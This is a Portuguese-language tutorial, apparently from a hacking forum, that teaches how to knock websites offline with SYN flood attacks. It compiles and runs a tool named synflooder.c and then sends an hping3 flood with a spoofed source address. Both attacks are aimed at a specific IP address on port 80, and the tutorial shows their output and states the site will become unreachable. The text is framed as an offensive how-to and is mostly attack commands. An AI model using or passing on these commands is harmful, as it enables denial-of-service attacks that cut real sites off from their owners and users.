INW-Segurança

———-Derrubando sites – SYN Flood——————–

=====================[Introdução ao ataque com synflooder.c]=====================
Oi pessoal, hoje vou mostrar como realizar um ataque SYN Flood pra derrubar sites (hosts), quem não conhece muito SYN Flood eu recomendo que leia esta artigo.

Artigo —> http://www.vivaolinux.com.br/artigo/Iptables-protege-contra-SYN-FLOOD?pagina=4

Eu usarei 2 metodos para realizar os ataques, um sera usando a ferramenta synflooder.c outro sera usando o hping3

===========================[Ferramentas]==================================

synflooder.c —>
hping —> http://www.hping.org/download.html

Obs: Para quem usa Debian basta digitar:
# apt-get install hping3

Para quem usa OpenSUSE basta digitar:
# yast install hping3

Para quem usa Fedora basta digitar:
# yum install hping3

===========================[Preparação]===================================

Agora o primeiro passo para realizar o ataque com o synflooder.c é compila-lo:
# gcc synflooder.c -o synflooder

============================[Atacando]===================================

# ./synflooder

Gimme: ./synflooder <host> <port>
# ./synflooder 189.23.199.200 80

Connected No: 0

Connected No: 1

Connected No: 2

Connected No: 3

Connected No: 4

Connected No: 5

Connected No: 6

Connected No: 7

Connected No: 8

Connected No: 9

Connected No: 10

Connected No: 11

Connected No: 12

Connected No: 13

Connected No: 14

Connected No: 15

Connected No: 16

Depois de um tempo o site ficara impossibilitado de receber mais conexões e qualquer pessoa que tentar entrar no site, simplesmente não ira conseguir.

======================[Introdução ao ataque com HPING3]======================

O hping3 é um programa muito util, pode ser usado para manipular o cabeçalho TCP/IP. Sera exatamente isto que vamos fazer, primeiro vamos spoofar o IP e floodar o alvo.

============================[Atacando]===================================
O comando usado sera este:
hping3 –flood –syn -a ip_falso -e “Message” -S -s porta ip_alvo

Então no konsole vamos fazer assim:
#hping3 –flood –syn -a 123.123.123.123 -e “Dreamexplo” -S -s 80 189.23.199.200

O resultado sera que o alvo ira ficar OFF:
# hping3 –flood –syn -a 123.123.123.123 -e “Dreamexplo” -S -s 80 189.23.199.200

HPING 189.23.199.200 (ppp0 189.23.199.200): S set, 40 headers + 16 data bytes

[main] memlockall(): Success

Warning: can’t disable memory paging!

hping in flood mode, no replies will be shown

=============================[FIM]=====================================

Espero que tenham gostado do tutorial.

Autor: Dreamexplo

Tutorial 100% Dreamexplo